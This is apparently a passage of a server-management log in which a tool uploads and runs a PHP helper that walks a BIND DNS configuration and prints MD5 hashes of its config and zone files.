	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:00:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp588318; rm /tmp/pkp588318'

2026-04-25 18:00:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:00:21: Establishing a connection
2026-04-25 18:00:21: 

PUT: /tmp/pkp869553

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:00:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp869553; rm /tmp/pkp869553'

2026-04-25 18:00:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
